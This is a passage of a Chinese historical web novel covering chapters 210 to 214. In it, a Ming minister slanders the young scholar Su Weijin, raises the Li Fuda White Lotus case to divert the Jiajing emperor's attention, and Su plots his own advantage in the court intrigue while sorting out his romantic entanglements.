努力让自己的语气显得忧国忧民而非挟私报复:
“陛下,臣近日闻听一些关乎朝臣品行的风议,
心中不安,思之再三,
觉有必要禀明圣听,
以免有损朝廷清誉。”
“哦?关乎何人?”
嘉靖帝挑眉。
“乃是……
新任翰林院修撰苏惟瑾。”
张璁刻意顿了顿,观察皇帝脸色,
见其面色如常,才继续道。
“臣闻其出身沭阳军户,
家世寒微倒也罢了,
然其少时曾寄身同县富户张家为书童,
却不知感恩,反与主家生出龃龉,
乃至……乃至有些不堪之言流传。
此等行径,恐非君子所为。
如今其骤得清要,若德行有亏,
恐非社稷之福,
亦有负陛下信重啊!”
他说得语重心长,
一副全然是为朝廷着想的样子。
一旁的几个官员闻言,
交换了一下眼神,
有的面露惊讶,有的则低下头,
暗自撇嘴,觉得张璁此举未免太过急切和下作。
嘉靖帝脸上的闲适之色慢慢收敛,
眼神变得锐利起来,盯着张璁:
“张卿,此言可有实据?
风闻奏事,亦需谨慎。”
张璁心中一凛,
但箭在弦上不得不发,
连忙从袖中取出那几张信纸,
双手呈上:
“陛下明鉴,此乃臣之远亲,
亦是沭阳士绅,所述苏惟瑾旧事,
句句属实,皆有乡邻可证!
其忘恩负义,品行不端,
实非空穴来风!”
他刻意强调了“忘恩负义”四个字,
心想这总能触动陛下那根重视“恩义”的神经了吧?
黄锦上前接过信纸,呈给嘉靖帝。
嘉靖帝展开,目光快速扫过,
脸色却越来越沉。
他不是不信这纸上所言可能有几分真实,
苏惟瑾的出身他早知道,
与张家的恩怨苏惟瑾自己也未完全隐瞒。
但……张璁选择在这个时候,
拿着这些陈年旧账来攻讦,
其心可诛!
尤其是,他刚刚才被苏惟瑾那番“贫贱之交不可忘,糟糠之妻不下堂”的深情告白打动,
金口玉言赐了婚,赏了宅子,
将苏惟瑾树立成了“有情有义真君子”的典范。
这张璁转头就来打他的脸,
说他看中的人“忘恩负义,品行不端”?
这哪里是在**苏惟瑾,
分明是在质疑他嘉靖帝的识人之明!
超频大脑若在此时能洞察帝心,
定会给出“危险!皇帝逆鳞被触!”的警报。
果然,嘉靖帝猛地将信纸拍在御案上,
发出“啪”的一声脆响,
吓得殿内群臣一哆嗦。
他霍然起身,指着张璁,
声音冷得如同冰窖里捞出来一般:
“张璁!你好大的胆子!”
一声厉喝,如同惊雷炸响在乾清宫。
张璁吓得浑身一颤,扑通一声就跪下了,
脸色瞬间煞白:
“臣……臣……”
“朕看你就是心胸狭隘,嫉贤妒能!”
嘉靖帝根本不给他辩解的机会,
怒气勃发。
“苏惟瑾出身寒微,乃朕亲知!
其少时坎坷,受尽欺凌,
却能自强不息,高中状元,
此乃寒门楷模!
其于微末之时,得邻女一饭之恩,
至今不忘,宁拒高门之姻亦要相守,
此乃情深义重!
此事朕已明察,亲自赐婚,
昭告天下,以彰风化!”
他越说越气,声音越来越高:
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“你倒好!
拿着些不知从哪个犄角旮旯翻出来的陈年旧账,
捕风捉影,断章取义,
在此构陷忠良!
你口口声声为朝廷清誉,
朕看你是为一己私利,党同伐异!
见不得别人比你好,比你得朕信重!
你这等行径,与市井长舌妇何异?
简直有辱斯文,有负朕望!”
这一顿劈头盖脸的怒斥,
如同疾风骤雨,
将张璁砸得晕头转向,体无完肤。
他跪在地上,浑身发抖,
冷汗瞬间湿透了后背的官袍。
他万万没想到,
皇帝的反应会如此激烈,
如此不留情面!
他原本指望即使不能扳倒苏惟瑾,
至少也能让其惹上一身骚,
没想到偷鸡不成蚀把米,
反而把自己搭了进去!
“陛下息怒!臣……臣绝无此心!
臣只是……只是听闻风议,
恐其对陛下清誉有损,
故……故……”
张璁语无伦次地辩解着,
额头磕在金砖上咚咚作响。
“风议?什么风议!”
嘉靖帝余怒未消。
“就是你这等小人搬弄是非!
朕看你是礼部侍郎当得太清闲了!
回去给朕好好反省!
若再让朕听到你无故构陷同僚,
朕绝不轻饶!滚下去!”
“是……是……臣遵旨,
臣告退……”
张璁如蒙大赦,也顾不得仪态,
连滚爬爬地退出了乾清宫,
那狼狈的模样,
与平日那位道貌岸然的礼部侍郎判若两人。
殿内一片死寂,落针可闻。
众臣个个噤若寒蝉,低眉顺眼,
心中却是波涛汹涌。
张璁这次,可是栽了个大跟头!
皇帝为了维护苏惟瑾,
竟如此雷霆震怒,
丝毫不顾及张璁乃是“大礼议”功臣的脸面!
这苏惟瑾在陛下心中的分量,
恐怕比他们想象的还要重得多!
消息很快传开,自然也包括苏惟瑾的耳中。
他正在新赐的黄华坊宅子里与芸娘、
苏婉商量着布置新房,
听到周大山压低声音的汇报,
只是淡淡一笑,仿似早有预料。
“瑾哥儿,那张璁真是活该!”
周大山咧着嘴,一脸痛快。
“让他再使坏!”
苏惟瑾拍了拍他的肩膀,没有多说。
张璁信誉度在皇帝处大幅下降,
自身“忠良”、“受害者”形象得到巩固,
皇帝庇护意愿增强,
朝臣忌惮加深……
嗯,这一波,反击得漂亮。
至于张璁?
不过是跳梁小丑,急了眼咬人,
反而崩掉了自己的牙。
他转头看向正在认真比对窗帘花色的芸娘,
目光柔和,这安稳日子,
他可得好好守着,谁想来破坏,
就得先掂量掂量自己的分量。
第211章 老奸忙转舵,抛出李福达
乾清宫那顿劈头盖脸的怒斥,
像一盆带着冰碴子的冷水,
把张璁从头顶浇到了脚心。
他失魂落魄地回到府邸,
官袍背后的冷汗被风一吹,
激起一阵寒颤。
书房里,他独自枯坐良久,
脸色铁青,手指无意识地敲打着黄花梨的桌面。
奇耻大辱!
想他张璁,靠着“大礼议”揣摩圣意、奋力一搏,
才坐上这礼部侍郎的高位,
如今竟为了一个毛头小子,
被陛下当着同僚的面骂得狗血淋头!
但咽不下也得咽。
陛下正在气头上,
此刻若再有任何针对苏惟瑾的举动,
无疑是火上浇油。
他张璁能爬到今天,
靠的就是审时度势、能屈能伸。
“必须立刻扭转陛下对老夫的印象……”
张璁浑浊的老眼中闪过一丝狠厉与算计。
他需要一件更大、更急、
更能吸引陛下注意力的事情,
来转移视线,
同时展现自己“心系社稷”的一面。
他的大脑飞速运转。
突然,一条来自山西、
此前并未引起他足够重视的密报,
宛如黑暗中划过的闪电,
照亮了他的思绪。
白莲教……李福达……
勾结宗室……
对!
就是它!
张璁猛地站起身。
白莲教是朝廷心腹大患,
而牵扯到宗室,更是敏感中的敏感!
此事若操作得当,
不仅能立刻转移陛下对苏惟瑾那点“小事”的关注,
更能凸显他张璁的“忠心”和“能力”!
他立刻铺开题本奏折,
笔迹力求沉稳有力,
语气充满了忧患意识和急切:
“臣礼部侍郎张璁谨奏,
为紧急奏闻山西白莲教妖人勾结宗室、图谋不轨事……”
他将那份语焉不详的密报精心加工、渲染,
把白莲教余孽李福达的活动描述得活灵活现,
将其与山西“某藩”的“过从甚密”描绘得煞有介事,
字里行间暗示其恐有“不臣之心”。
写罢,他仔细检查,
确保措辞既能引起皇帝警惕,
又不至于显得捕风捉影。
“即刻递进宫去,
走通政司加急通道,
就说有山西紧急军情奏报!”
做完这一切,张璁才长长舒了一口气。
苏惟瑾,暂且让你再得意几天。
等陛下被这“白莲教案”牵住心神,
看你还能维系多久的圣眷!
翌日朝会,气氛果然与往日不同。
嘉靖帝面色沉肃,
眉宇间带着阴霾,
直接将山西白莲教李福达勾结宗室的消息抛了出来。
“……众卿家对此事,有何看法?”
朝堂之上顿时一片哗然!
白莲教!还牵扯宗室!
这可是能捅破天的大事!
首辅费宏(此时**纪已经致仕)眉头紧锁,出列缓声道:
“陛下,白莲教为祸已久,
若真与宗室有所牵连,确需彻查。
然,宗室事关国体,
仅凭风闻奏事,恐不足为凭,
还需确凿证据,以免动摇亲亲之道,
伤了天家和气。”
他言语老成持重,意在维稳。
次辅杨一清则更显凝重,
他久在边镇,深知地方情弊:
“陛下,费阁老所言甚是。
然山西地处要害,北临蒙古,
若邪教与宗室勾连为乱,
则内外交困,其祸非小!
臣以为,当立即遣缇骑密查,
若事属实,则需以雷霆手段处置,
绝不可姑息!”
他更侧重于消除实患。
吏部尚书廖纪素来端谨,
闻言面色严峻:
“妖人惑众,宗室不谨,
皆为国之大蠹!
陛下,此事无论虚实,
均已骇人听闻,必须严查以正视听!
臣附议杨阁老,当速派钦差,
明察暗访,务求水落石出。”
他态度鲜明,主张强硬。
礼部尚书席书则道:
“白莲教妄称弥勒降世,
诳骗愚民,其心可诛!
更遑论觊觎天家?
陛下,此风绝不可长!
张侍郎所奏,无论细节如何,
其指向之患,已不容忽视。
臣以为,当彻查,
并借此整饬天下宗室、禁绝邪教,
以绝后患!”
他顺着张璁的思路,将问题拔高。
詹事府詹事兼翰林学士夏言,
声若洪钟,越众而出,
他的反应最为激烈:
“陛下!白莲教乃前元余孽,
屡剿不绝,今竟敢染指天潢贵胄,
其心可诛,其行当灭!
此非一隅之疾,乃心腹之患也!
臣以为,当立即锁拿李福达及一干涉案宗室人员,
严刑拷问,揪出幕后主使!
凡有牵连者,无论身份,
皆应以国**处,绝不姑息!”
他言辞犀利,主张用最严厉的手段,
瞬间吸引了众多目光,
也让一些持重之臣微微蹙眉。
而作为当事人的张璁,
此刻反而收敛锋芒,
适时出列,躬身奏道:
“陛下,诸位大人所言皆有理。
白莲教妖言惑众,历来是朝廷心腹大患。
此次李福达之事,竟牵扯宗室,
更是骇人听闻!
臣以为,当立即派遣得力干员,
前往山西彻查,务必揪出幕后主使,
廓清妖氛,以安社稷!”
他绝口不提苏惟瑾,
一心只扑在“国事”上。
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也有科道言官提出质疑,
认为证据不足,需谨慎行事,
以免引起宗室动荡。
朝堂上很快分成了主张严查速办、
主张稳妥求证以及居中调和等几派,争论不休。
苏惟瑾站在翰林院的队列中,
冷眼旁观着这场突如其来的风波。
超频大脑迅速调取关于“李福达案”的记忆碎片,
结合张璁昨日刚被严厉申斥、
今日就急不可耐抛出此事的举动,
瞬间明白了这位老侍郎的算盘。
金蝉脱壳,转移视线。
他的目光掠过慷慨激昂的夏言,
沉稳持重的费宏,忧虑边镇的杨一清,
以及那些或附和、或质疑的官员,
超频大脑化作精密的罗盘,
快速分析着每个人的立场、
动机和可能带来的影响。
夏言的激进或可推动事态,
但也可能引发过度株连;
费宏的持重能稳定局面,
却也容易让调查流于形式;
杨一清的目光则更实际地投向了边防安全。
而张璁,则巧妙地躲在掀起的风浪之后,
试图将自己重新塑造成一个“先天下之忧而忧”的忠臣。
好一招以攻代守!
苏惟瑾心中冷笑。
张璁此举,固然暂时摆脱了自身困境,
但也无疑打开了一个潘多拉魔盒。
白莲教案,尤其是牵扯到宗室,
历来是党争最好的工具和战场,
不知道多少人会借着这股东风,
互相倾轧,排除异己。
夏言的强势介入,
或许就是一个变数。
一场新的、更激烈的朝堂风暴,
已然在李福达这个名字被抛出的瞬间,拉开了序幕。
他微微垂下眼帘,掩住眸中闪烁的精光。
风暴意味着危险,
但也往往蕴藏着机遇。
张璁想借此脱身,甚至更进一步?
那也得问问他苏惟瑾答不答应。
这潭水,既然被搅浑了,
那正好,或许可以浑水摸鱼,
为自己谋取一些更大的东西。
他超频的大脑,已经开始悄然推演,
在这即将到来的乱局中,
自己该如何落子,才能利益最大化,
同时警惕夏言这等锐意进取之辈可能带来的冲击。
朝会最终在嘉靖帝“着三法司并锦衣卫会同审理,
务必查个水落石出”的旨意中结束。
张璁暗暗松了口气,
知道自己这步险棋,走对了。
而苏惟瑾则随着人流走出奉天殿,
秋日的阳光照在他年轻的脸上,
平静之下,是暗流汹涌的斗志。
李福达案?有意思。
这场大戏,他很有兴趣陪他们唱下去。
就看最后,是谁能借着这场东风,直上青云了。
第212章 超脑析案卷,党争契机现
朝堂上因李福达案掀起的波澜,
并未随着散朝而平息,
反而如同投入油锅的水滴,
在京城官场的各个角落噼啪炸响。
苏惟瑾回到翰林院,
值房内依旧弥漫着墨香与纸张特有的陈旧气息,
但空气中似乎也沾染上了一丝外界的躁动。
同僚们三三两两聚在一起,
低声议论着方才朝会上的惊雷,
个个面色凝重,或忧心忡忡,
或目光闪烁,都在掂量着此事对自身、
对派系可能带来的影响。
苏惟瑾没有参与这些讨论,
他安静地坐在自己的位置上,
铺开纸笔,看似在整理书稿,
实则超频大脑已化身最高效的信息处理中心,开始全力运转。
“调阅李福达案相关卷宗。”
他在内心下达指令。
凭借翰林院修撰的身份,
以及近来简在帝心的特殊地位,
他有权限接触并调阅部分非绝密级别的档案文书。
很快,关于白莲教历年活动、
山西地方舆情、乃至涉及宗室
(虽未点名,但范围已可大致圈定)的一些零散记载,
被吏员小心翼翼地送到了他的案头。
卷宗带着陈年灰尘的味道,
纸页泛黄,字迹或工整或潦草,
记录着不同时期、
不同角度的信息碎片。
在外人看来,苏惟瑾只是如同往常一般,
神情专注地翻阅着故纸堆,
速度不快不慢,
时而提笔在旁边的稿纸上记录几句。
唯有他自己知道,
此刻他的大脑正以超越这个时代任何天才的速度,
进行着海量的信息摄入、交叉比对、
逻辑分析和深度推演。
超频大脑,启动深度分析模式。
信息输入:
1.白莲教源流、教义核心、历代起事特点
(强调“弥勒降世”、“明王出世”,具有强烈反叛性和煽动性)。
2.李福达此人背景:
山西崞县(今原平市)人,
早年踪迹,传教范围,
信众规模(估算),
与地方豪强、底层官吏可能的勾连。
3.山西宗室分布:
晋王系(驻太原)及其他郡王、镇国将军等,
梳理其与中央关系、地方影响力、
是否有过“不安分”记录。
4.朝廷近年对白莲教政策:
严厉**,但地方执行力度不一,
存在瞒报、惰政现象。
5.张璁奏报关键点:
“勾结宗室”、“图谋不轨”,
用词严厉但具体证据模糊。
6.朝堂**格局:
嘉靖帝登基未久,
通过“大礼议”初步确立权威,
但朝中旧臣(如杨廷和余党)、勋贵、
各地藩王势力盘根错节,
皇权仍需巩固。
张璁乃“大礼议”新贵,
与旧势力存在矛盾。
关联性分析:
李福达传教范围与某些宗室封地存在地理重叠。
张璁选择此时抛出此案,时机巧妙,
与其自身刚受挫急需转移视线、展现价值的需求高度吻合。
案件性质敏感(宗教+宗室),极易扩大化,
符合嘉靖帝潜在的**需求(借机整肃)。
本质推演:
超频大脑如同精密的探针,
穿透层层迷雾,直指核心:
此案,绝非简单的邪教案!
它更像一个被精心挑选(或至少是被敏锐捕捉到并加以利用)的**引爆点。
对嘉靖帝而言:这是一把难得的“快刀”。
借清查“勾结宗室”的白莲妖人,
可以名正言顺地将调查触角伸向那些可能对皇权构成潜在威胁、
或只是让他感到不快的宗室、
地方豪强乃至朝中异己分子。
这是一次巩固皇权、清洗旧势力的绝佳机会。
皇帝需要有人来挥动这把刀,
也需要有人来把控挥刀的方向和力度。
对张璁及其党羽而言:
这是他们扩大**影响力、铲除异己的良机。
他们可以借着办案的东风,
将政敌罗织罪名,
打为“白莲教同情者”或“勾结宗室图谋不轨者”,进行精准打击。
他们急于表现,渴望借此案进一步攫取权力。
案件本身复杂性:
宗教蛊惑、地方势力盘踞、宗室牵扯、朝堂党争……
各种矛盾交织,真相可能早已模糊,
重要的是各方如何利用这个案子达到自己的目的。
风险评估与机遇识别:
风险:局势混乱,容易引火烧身。
若站错队,或介入过深而无自保之力,
极易成为党争牺牲品。
机遇:巨大!
混乱是阶梯!
对于拥有超频大脑、能洞察先机且暂无深厚派系烙印的苏惟瑾而言,
这正是天
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赐良机!
借势布局:可以借此案,
巧妙安插自己人进入调查环节或相关关键岗位
(例如,推荐周大山或培养的其他人手以某种合理身份介入地方调查,积累资历和人脉)。
攫取权力:
若能在此案中展现出超乎常人的分析能力、提出关键建议,
或提供决定性的“线索”,
不仅能进一步获得皇帝信任,
甚至可能直接参与到核心决策圈,
获得一定的话语权。
翰林院清贵,但缺乏实权,
此案或可成为转向实务权力的跳板。
信息优势:超频大脑的分析能力,
使他能比其他人更快地看清局势走向,
识别哪些是值得拉拢的“受害者”,
哪些是必须打击的“真凶”或“政敌”,
从而做出最有利的选择。
制衡张璁:绝不能让张璁一派完全掌控此案走向。
必须在其中打入楔子,分散其权力,
甚至在某些关键节点上,
利用信息差和更精准的判断,
反向制衡,削弱其影响力。
苏惟瑾缓缓合上最后一卷档案,
指尖在稿纸边缘轻轻敲击,
发出规律的轻响。
稿纸上,只有寥寥数行看似随意的关键词和箭头符号,
外人看来如同天书,
却是他超脑推演出的行动纲要核心。
他的眼神变得锐利而深邃,
嘴角勾起一抹冷峻的弧度。
张璁想借李福达案金蝉脱壳,
甚至更上一层楼?
皇帝想借此案挥刀立威,巩固权柄?
各方势力想趁乱摸鱼,党同伐异?
好得很!
那就不妨让这潭水,更浑一些。
他苏惟瑾,也要在这即将到来的盛宴中,分一杯羹,
不,是要占据一个有利位置,
攫取足够滋养自身成长的权力与资源!
机遇已现,岂容错过?
是时候开始落子了。
第一步,便是要更深入地了解案情的每一个细节,
并找到那个能让他合理、
且有效地介入此案的切入点。
他的目光,投向了窗外肃杀的秋日天空,
仿佛已经看到了未来朝堂之上,
那场没有硝烟却更加残酷的厮杀。
而他将不再仅仅是一个旁观者或被动应对者,
他要成为一名主动的棋手,
在这盘大棋中,布下属于自己的局。
第213章:雪茹怒闯府,直言**
苏惟瑾在新赐的黄华坊宅邸书房内,
指尖正无意识地敲击着桌面,
超频大脑全速运转,
推演着如何在那已然掀开一角的李福达案中,
为自己谋取最大利益。
就在这权谋思绪纷繁交织之际,
府门外骤然传来一阵不同寻常的喧哗,
夹杂着清脆又带着怒气的女子呵斥声,
以及周大山等人试图阻拦、解释的焦急声音。
那声音……异常耳熟!
苏惟瑾眉头微蹙,
思绪从朝堂风云中被强行拉回现实。
他尚未起身,
书房门便“哐当”一声被人从外面猛地推开,
一道火红的身影如同旋风般卷了进来,带起一阵凉风。
来人正是王雪茹!
她此刻的模样,远比苏惟瑾想象的更要风尘仆仆。
原本俏丽的脸蛋上沾着些许尘土,
发髻因长途跋涉和急切赶路而松散凌乱,
几缕被汗水浸湿的青丝紧紧贴在额角和泛着不正常红晕的脸颊边。
身上那套利落的骑射胡服也蒙上了一层灰扑扑的尘土,
裙摆甚至还有被荆棘划破的痕迹。
她显然是一路快马加鞭,
几乎没有停歇地赶到了京城。
那双原本明亮灵动的大眼睛里,
此刻布满了血丝,
却燃烧着更加炽烈和委屈的怒火,
紧紧盯着苏惟瑾,
胸口因急促呼吸而剧烈起伏,
手里紧紧攥着那条片刻不离身的乌黑马鞭,
指节因用力而泛白。
“苏惟瑾!”
王雪茹的声音带着长途嘶喊后的沙哑,
却依旧响亮,带着不容置疑的兴师问罪架势。
“你真要娶那个芸娘了?!
那我呢?
你把我王雪茹当什么了?!”
她这话问得直白无比,
毫不拐弯抹角,
如同一记直拳,
砸得刚进京城不久的苏婉和闻声出来的陈伯康老夫妇面面相觑,不知所措。
芸娘更是脸色一白,
下意识地往苏婉身后缩了缩,
担忧地看着苏惟瑾。
周大山急得直搓手,
对苏惟瑾低声道:
“瑾哥儿,王姑娘她……
她刚到京城,在街上找人打听咱们府上,
结果就听说了赐婚的事……
然后就直接骑马闯过来了,
我们拦不住……”
苏惟瑾抬手,示意周大山不必多说。
他看着眼前这张因怒气、
委屈和疲惫而显得格外脆弱的俏脸,
心中了然,亦泛起一丝复杂的情愫。
一个月前
沭阳王宅内,
王雪茹得知赵文萱、芸娘先后赴京的消息后,
如同热锅上的蚂蚁,再也坐不住。
她冲到父亲王百户面前,
不管不顾地纠缠:
“爹!我要去京城!
我一定要去!
她们都去了,凭什么我不能去?
我就要去找苏惟瑾问个明白!”
王百户起初严词拒绝,
耐不住女儿日复一日的软磨硬泡、茶饭不思,
眼见女儿日渐憔悴,终究心软,
长叹一声,无奈地派了得力家丁护送她北上。
一路上,王雪茹心心念念,
既有对见到苏惟瑾的期盼,
更有对赵文萱、尤其是芸娘先到一步的隐隐不安和醋意。
她日夜兼程,恨不得插翅飞到京城,
却万万没想到,刚踏入这天子脚下,
听到的第一个关于苏惟瑾的**消息,竟是皇帝赐婚!
那一刻,她只觉得天旋地转,
所有期盼和不安都化作了被背叛的愤怒和锥心的疼痛,
这才有了不管不顾闯府质问的一幕。
他脸上没有露出丝毫惊慌或厌烦,
反而站起身,语气平和,
甚至带着一丝不易察觉的温和与……怜惜?
“雪茹妹妹,一路辛苦。
先坐下喝口茶,歇口气,顺顺气再说。”
他亲自倒了一杯温茶,递了过去。
“我不喝!”
王雪茹倔强地一扬下巴,
马鞭梢指向苏惟瑾,
眼圈瞬间红得更厉害,
泪水在眼眶里打转,
却倔强地不肯落下。
“你别想糊弄我!
我在沭阳就听说了,
文萱姐姐来了,芸娘也来了!
现在倒好,陛下直接给你们赐婚了!
你……你当初在沭阳,
对我……对我那些话,
难道都是假的吗?”
她性子虽直爽,
但终究是女儿家,
说到后面,声音里的委屈和哽咽再也掩饰不住。
苏惟瑾心中轻叹。
他对王雪茹,确有不同他人的情谊。
这份情谊,源于她在他卑微时毫不掩饰的维护,
源于她那份胜如火焰般炽热坦荡的真性情。
他示意苏婉先带芸娘和陈伯康夫妇回避,
又让周大山关上门守在门外。
书房内只剩下他们二人。
苏惟瑾走到王雪茹面前,
距离很近,能清晰地看到她长睫上沾染的泪珠和强忍的脆弱。
他没有回避她的目光,
眼神坦诚而郑重。
“雪茹,”
他换了更亲近的称呼,
声音低沉而清晰,
带着一种能安抚人心的力量。
“我对你说过的每一句话,
发自肺腑,绝非虚言。
你的情义,你在我困顿时毫不犹豫的维护,
苏惟瑾此生不忘,铭感五内。”
他先肯定了她的价值和过往,
稳住她的情绪,
接着才切入核心矛盾。
“但正因如此,
我才更不能在此时负了芸娘。”
他话锋一转,开始解释,
“雪茹,你可知我如今身处何地?
京师,翰林院,天子脚下!
无数双眼睛盯着,一步行差踏错,
便是万劫不复。”
他目光锐利起来,
将朝堂的险恶、自身的处境,
剥开一部分,坦诚地展露在她面前:
“陛下为何赐婚?
不仅仅是因为芸娘于微末时对我的恩情,
更因为此举符合‘道义’,
能彰显陛下推崇的‘教化’!
我若在此时,
弃贫贱时施以援手、
不离不弃的芸娘于不顾,
转而另娶她人,
哪怕是你,雪茹,
你让陛下如何看我?
让这满朝文武、天下百姓如何看我?
一个忘恩负义、攀附权势的小人吗?
那才真是自毁前程,
甚至可能引来杀身之祸!”
他顿了顿,看着王雪茹渐渐变得怔忪、
开始思考的表情,知道她听进去了,
继续道,语气带着一丝无奈的决断:
“与芸娘成婚,是眼下局势中,
唯一且必须的选择。
这并非我负你,而是时势使然。
我需要这份‘重情重义’的名声作为护身符,
也需
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要借此稳住圣心。”
解释清楚利害后,
他再次将焦点拉回与她情感联结上,
给予她一个无法被替代的特殊位置:
“雪茹,你在我心中,
永远有着独一无二、
无可替代的一席之地。
无人可以抹去。
只是如今,名分上,
我只能给芸娘。
这份亏欠,我记下了。”
他的话语坦诚而带着温度,
没有虚伪的敷衍,
也没有残忍的决绝,
既说明了现实的无奈,
又保全了她的尊严和情感。
王雪茹感受着他掌心传来的暖意,
听着他条分缕析、情理兼备的解释,
心中的那块坚冰和熊熊怒火终于渐渐融化、熄灭。
委屈还有,不甘仍在,
但她知道,这个男人没有骗她,
他的处境确实艰难,
他的选择是理智的,
而自己在他心中,
也确实有着特殊的分量。
她猛地抽回手,转过身去,
用力眨了眨眼睛,
将那股酸涩逼了回去。
再转回身时,
脸上已努力恢复了往日那种飒爽的神采,
虽然眼圈还红肿着。
“哼!”
她故作凶狠地瞪了苏惟瑾一眼,
扬了扬手中的马鞭,
但语气已然缓和了许多。
“苏惟瑾,你记住了!
是你欠我的!
还有,你要是敢对芸娘不好,
让她受一丁点委屈,
我王雪茹第一个不答应!
管你是什么状元还是翰林,
我照样抽你!”
说完,她不再看苏惟瑾,
昂着头,如同来时一般,
风风火火地拉开书房门,
对门口一脸紧张的周大山哼了一声,
大步流星地朝府外走去。
那红色的身影,
依旧如同一团移动的火焰,
只是这火焰少了几分灼人的怒气,
多了几分释然与洒脱,
很快便消失在照壁之后。
苏惟瑾站在书房门口,
望着她离去的方向,
良久,才轻轻吁出一口气。
王雪茹这一关,
算是用坦诚与智慧平稳渡过了。
这时,苏婉才小心翼翼地拉着芸娘从厢房走出来。
苏婉脸上带着唏嘘和同情,低声道:
“哥,王姐姐她……没事吧?
她看起来好难过。”
芸娘则走到苏惟瑾身边,
眼中含着泪,又是感动又是愧疚,轻声道:
“惟瑾,我……
我是不是让你为难了?
王姑娘她……”
苏惟瑾转身,
看着眼前善良的妹妹和未来妻子,
心中一软,伸手轻轻握了握芸娘的手,温言道:
“别多想,雪茹性子豁达,她会想通的。
此事已定,你们不必挂怀。”
他又对苏婉笑了笑。
“婉妹放心,她没事,
过些时日便好了。”
苏婉看着哥哥,又看看芸娘,
终于放下心来,乖巧地点点头。
芸娘感受到苏惟瑾掌心的温度和话语中的坚定,
心中的不安也渐渐散去,
取而代之的是更深的依赖与感动。
他收敛心神,目光重新变得深邃。
儿女情长暂且放置一边,
那朝堂之上,
由李福达案掀起的更大风暴,
正等着他去应对、去利用。
这才是眼下真正的战场。
第214章 名声鹊起
京城西城,一处闹中取静、挂着“梅香诗社”匾额的小院,
成了不少京中才女、
甚至一些风雅文士时常聚会的所在。
这诗社的发起人与核心,
正是日渐声名鹊起的赵文萱。
她凭借过人的才情、
清雅脱俗的气质,
以及其父赵明远在国子监那层清贵身份,
很快便在京城的文化圈子里站稳了脚跟。
“梅香诗社”并非只谈风花雪月。
赵文萱巧妙地引导,
使得聚会时常会品评些前朝诗文,
借古论今,偶尔也会以极其隐晦的方式,
触及当下的时政风气。
虽不深入,却足以让参与者在吟诗作对之余,
感受到一股不同于寻常闺阁的见识与格局。
更关键的是,通过诗社的往来,
赵文萱结识了一位特殊的客人
——通政司右参议的夫人,姓吴。
通政司乃天下章奏进呈之总汇,
虽这位吴夫人的夫君职位不算顶尖,
却也能接触到大量非核心、
但能清晰反映朝堂动向的公文摘要,
以及听闻许多官场轶事。
吴夫人自身也颇通文墨,
欣赏赵文萱的才华,
两人渐渐有了往来。
在一次次看似随意的茶叙、赏画中,
赵文萱总能不经意地引导话题,
从吴夫人偶尔的感慨或闲聊中,
捕捉到一些有价值的信息碎片:
比如某地官员考绩的争议,
比如朝中对某项政策(如漕运、盐政)的不同声音,
再比如,近来甚嚣尘上的、
关于山西白莲教妖人李福达案的些许风声
——虽只是“听闻有御史**”、
“恐牵扯不小”等模糊话语,
但已足够敏锐。
赵文萱会将这些东西,
连同她在费老夫人及其他交际圈中听到的零星信息,
细心整理,去芜存菁,
结合自己的分析与推断,
通过那条只有她和苏惟瑾知晓的隐秘渠道
(借助父亲衙门里那位可靠的老书办),传递出去。
这些信息,或许并非决定性的核心机密,
但对于苏惟瑾那需要海量数据支撑的“超脑模型”而言,
却是极其宝贵的、关于大明官场生态、
人情网络和风向变幻的补充数据,
能让他更精准地调整自己的策略和步伐。
她做着这一切,
心中带着一种隐秘的期盼与甜蜜,
仿佛是自己伸出了一只看不见的手,
在暗中助他披荆斩棘。
然而,这份隐秘的维系与期盼,
很快便被一道突如其来的旨意击得粉碎。
皇帝为苏惟瑾和芸娘赐婚的消息,
如同深秋最凛冽的寒风,
瞬间席卷了整个京城,
自然也毫无意外地传到了“梅香诗社”,
传到了赵文萱的耳中。
尽管早有心理准备,
知道苏惟瑾与芸娘有情谊在先,
知道皇帝赐婚意味着无可更改,
但当这消息确切传来时,
赵文萱还是感到心口像是被什么东西狠狠撞了一下,闷闷的疼。
她强撑着主持完当日的诗社活动,
面上依旧带着得体的浅笑,
应对着姐妹们的或真心或假意的恭喜(恭喜她与状元公有旧谊),
但只有她自己知道,那笑容背后,
是怎样的酸涩与空洞。
回到家中,她将自己关在房内,
对着窗外凋零的秋菊,
怔怔地落下泪来。
那个在沭阳县学外与她探讨经义、
眼神清亮的少年;
那个在京城重逢后,
与她有着无声默契,
接受她暗中相助的男子……
终究,是与她擦肩而过了。
接下来的几次诗社聚会,
细心的成员们发现,
赵才女虽依旧才华横溢,
但眉宇间总似笼罩着一层淡淡的轻愁,
所作诗词,也悄然染上了一抹难以言说的幽怨。
一次以“秋扇”为题作诗,她挥毫写下:
“纨扇经秋弃箧中,曾伴炎暑摇清风。
丹青虽好色易改,圆缺常随造化功。
玉簟初惊寒露至,金炉已觉麝烟空。
君恩亦似暑凉变,莫怨西园扫落红。”
诗面上是咏叹秋扇见捐,契合主题,
但字里行间那“君恩似暑凉”、
“莫怨落红”的意象,
却让在场几位心思细腻的夫人小姐品出了别样的滋味,
不由得交换了意味深长的眼神,
看向赵文萱的目光中,
多了几分同情与了然。
才情加上这若有若无的情伤,
反而更衬得她楚楚动人,引人怜爱。
那位一
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直很欣赏她的费老夫人也听闻了风声,
特意在一次赵文萱去请安时,
将她单独留下,温和地拉着她的手,
语重心长地说道:
“好孩子,你的心思,
老身约莫能猜到几分。
苏修撰那人,才具是有的,
陛下也看重。
只是这京城里头,高门联姻,
讲究的是个门当户对,是权势根基。
他选择陈氏女,于他眼下处境,
未必不是一步好棋。
你是个聪明孩子,
莫要钻了牛角尖。”
老夫人目光深邃,
带着看透世情的通透:
“咱们女子,尤其在这京城,
未必非要依附于谁。
你有这才情,这见识,好生经营,
自有你的天地。
那苏修撰……做个念想也罢,
做个故友也罢,都无不可。
但别误了自个儿的前程。”
老夫人的话,如同醍醐灌顶,
让赵文萱从自怨自艾中猛然惊醒。
她看着老夫人慈祥而睿智的眼睛,
再回想京城这些时日所见所闻,
那些高门之间的利益交换,
那些表面风光、内里无奈的婚姻……
她忽然明白了许多。
是啊,苏惟瑾的选择,是现实,是权衡。
而她赵文萱,难道就要一直沉溺在这份无望的情感中吗?
她深吸一口气,眼中的迷茫与哀怨渐渐褪去,
取而代之的是一种更加清醒和坚定的光芒。
她向老夫人深深一福:
“文萱明白了,多谢老夫人点拨。”
自此,赵文萱仿佛换了一个人。
她并未断绝与苏惟瑾那隐秘的信息传递
(这已成为她证明自身价值的一种方式),
但心态已然不同。
她将更多的精力投入到了“梅香诗社”的经营中,
更积极地拓展自己的人脉网络,
